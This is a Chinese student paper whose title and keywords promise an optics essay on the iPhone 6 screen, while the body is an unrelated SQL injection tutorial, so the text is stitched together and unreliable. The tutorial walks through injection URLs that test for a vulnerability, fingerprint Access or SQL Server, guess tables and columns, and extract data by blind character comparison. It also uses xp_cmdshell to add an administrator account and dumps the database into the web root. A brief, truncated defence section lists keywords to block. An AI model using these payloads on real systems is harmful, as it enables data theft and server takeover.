Southeast University光学课程论文论文题目:浅析iPhone6屏幕的宣传卖点学生院系:物理****:**学生学号: ********Southeast University浅析iPhone6屏幕的宣传卖点摘要关键词:双域像素Dual-domain pixels;光取向技术Phote aligment;Retina HD;目录引言 (3)1 SQL注入过程 (3)1.1判断是否可以攻击 (3)1.1.1输入为数字时: (3)1.1.2输入为字符串时: (4)1.2判断数据库类型 (4)1.2.1对于IIS未关闭的 (4)1.2.2对于IIS不返回错误信息的 (4)1.3判断数据类型 (5)1.4猜测表名 (5)1.5猜测列名 (5)1.6得到数据 (5)1.7直接获得用户名及密码 (6)2.SQL注入防范 (6)2.1客户端 (6)2.2加密 (7)2.3 IIS的限制 (7)2.4 IIS权限的分配 (7)Southeast University 结语 (7)[参考文献] (7)引言计算机的发展越来越快,可是随之而来的却是一系列安全问题,这些安全问题直接威胁到了用户的私人信息,诸如账号,密码,住址等,他们利用用户的好奇心,欺骗用户或者在用户毫不知情的情况下,入侵PC,盗取资料,对用户构成一定威胁,危害不仅局限于此,譬如在08年时一场大规模的SQL注入席卷了全球,他们堆积选择ip,将目标锁定到不同网站,其中包括一些受信任的网站,用户点击网站之后会受到感之后成为病原体。
现在由于程序员的水平参差不齐,在编写程序的时候有时会很少考虑到安全方面的因素,及缺少用户输入安全性的判断,这样就导致不法分子有机可乘,他们根据不同的输入,分析返回结果,得到数据库服务器的相关信息,最后可以为所欲为。
1 SQL注入过程1.1判断是否可以攻击首先我们要将ie浏览器的Internet=>高级=>显示好友http信息去掉,这样我们就可以得到不同的错误,位置后的判断打下基础。
比如说形如一个http://example/mainView/show.asp?ID=123这是一个正常的网站,在这个网站中数据库服务器通常通过select * from tableName where ID=123来将结果集返回给客户端,这本来是没有什么问题的,可是这里却存在极大的安全隐患,比如说我们可以在后面添加一些代码,可以这样测试1.1.1输入为数字时:通过经典的1,2测试法,我们可以这样做不添加任何内容http://example/mainView/show.asp?ID=123;不报错添加and 1=1这样就变成了http://example/mainView/show.asp?ID=123 and1=1;不报错Southeast University 添加and 1=2 这样就变成了http://example/mainView/show.asp?ID=123 and 1=2;报错1.1.2输入为字符串时:末尾添加一个‘,这样就变成了http://example/mainView/show.asp?ID=123’;报错添加‘and ’1‘=‘1这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1'='1';不报错添加‘and ’1‘=‘2这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1'='2';报错当这两个条件均满足时,我们可以知道show.asp不存在安全检测机制,因此可以得到我们show.asp 是存在漏洞的。
判断出这部分内容是可以实行sql注入时,我们可以进行下属步骤1.2判断数据库类型在和asp搭配的网站中,大多数采用的是access和sqlserver两种数据库,故这里我们不讨论mysql 这种类型的。
1.2.1对于IIS未关闭的我们可以根据系统变量来判断,对于sqlserver数据库,其中存在一些系统变量,比如说user,利用这点,可以执行以下语句http://example/mainView/show.asp?ID=123 and user>0;我们需要解释以下,user存储的是当前连接的用户名,类型为nvarchar的,结果可想而知,我们将两个同类型的进行比较,那么系统首先会将nvarchar 的值转换为int,转换不成功,抛出错误,之后我们分析得到的错误信息:将userName(用户名)转换为int失败,这样,我们不仅判断出了这是sqlserver数据库,同时知道了用户名为userName。
对于ACCESS数据库,我们只需要简单的在最后添加一个‘即可http://example/mainView/show.asp?ID=123‘如果返回Microsoft JET Database Engine 错误 '80040e14',说明存在字符串语法错误,从中我们看出在show.asp 行8存在错误,从这个错误我们可以看出这个网站采用的是ACCESS数据库1.2.2对于IIS不返回错误信息的我们可以根据系统表来判断:Sqlserve的系统表为sysobjects,access的系统表为msysobjects 所以我们这样判断http://example/mainView/show.asp?ID=123 and (select count(*) from sysobjects)>0Southeast University http://example/mainView/show.asp?ID=123 and (select count(*) from mysobjects)>0由于access数据库在web环境下访问msysobjects是没有权限的。
因此不论是哪一种情况,总是会返回错误信息,所以如果页面访问正常,那么可以判断是Sqlserver数据库,如果不正常,有错误信息,则为access数据库。
1.3判断数据类型在前面已经介绍过了数字和字符串类型的,还有一种类型是关键字类型的即keyword它的查询语句大概是这个样子的:Select * from tableName where keyword like ‘%关键字%‘;所以我们可以注入keyword=‘ and whatYouWant and ‘%’=’,这样SQL语句就变成了Select * from 表名 where字段like ‘%’ and whatYouWant and ‘%’=’%’;其中whatYouWant就是你想要得到的东西,好了,三种格式的数据类型判断完成后,接下来我们猜测表名1.4猜测表名方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(*)from 猜测的表名)>0如果返回的页面没有变化,说明存在这个猜测的表名,如果返回错误信息,则不存在这个表名,反复重复这个过程,我们得到相应的表名,很是繁琐的过程,可是我们可以根据相关信息来猜测,比如说图书管理系统,我们会猜测book,borrower等名称1.5猜测列名方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(猜测的列) from 得到的表名)>0,反复这个过程,得到列名1.6得到数据假设我们已经得到了表名和列名,得到数据的思路如下,先得到top 1的长度,之后判断每一位的ASCII,具体实现如下:判断长度:http://example/mainView/show.asp?ID=123 and (select top 1 len(列名) from 表名)>n;Southeast University 将n换成不同的数字,根据返回的不同值,可以得到此列第一个值长度,比如说>4正确,>5错误,那么这个长度就是为5,之后我们要得到每个字符对应的是什么http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,m,1)))>Asn,的m为第几个字符,它是小于等于我们刚才得到的n的,Asn为ascii的值,由于数字和字母在1~128之间,例如http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,2,1)))=39;我们可以得到第二个字符是9因此通过这个方法,我们可以得到每一个字符的ascII,从而得到数据,这个工作大量重复且繁琐,自己做,算了吧,写一个小程序。
很快就搞定了。
1.7直接获得用户名及密码这样做只是一些基本的方法,对于真正比较牛的黑客,会使用另外一下方法。
主要是针对SQLserver数据库的,由于SQLserver和操作系统有紧密联系,如果当期的连接具有sa权限,且 xp_cmdshell(将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出)正确执行(虽然在sqlserver2005中默认是关闭的),那么我们就很容易控制PC,操作步骤如下:http://example/mainView/show.asp?ID=123;exec master..xp_cmdshell “net user namepassword/add”--可以直接增加操作系统帐户name密码为passwordhttp://example/mainView/show.asp?ID=123;exec master..xp_cmdshell“net localgroup name administrators /add”-- 把刚刚增加的帐户user加到administrators组中。
http://example/mainView/show.asp?ID=123;backuup database 数据库名to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载数一般来说,WEB虚拟目录是:c:\inetpub\wwwroot;2.SQL注入防范通过上述论述,我们了解了sql注入的过程,针对过程,我们发现,主要可以从以下几点进行防范2.1客户端在构造动态sql语句中,我们要检测用户输入的合法性,这对于我们来说是很重要的,因为往往我们只顾及了完成编码工作而忽略了安全问题,这样,对于经验老道的程序员,很快就可以看出其中的漏洞,Southeast University 因此在检查用户输入时,如果遇到select exec xp_cmdshell时,应该立即停止asp,并将页面至于出错状态。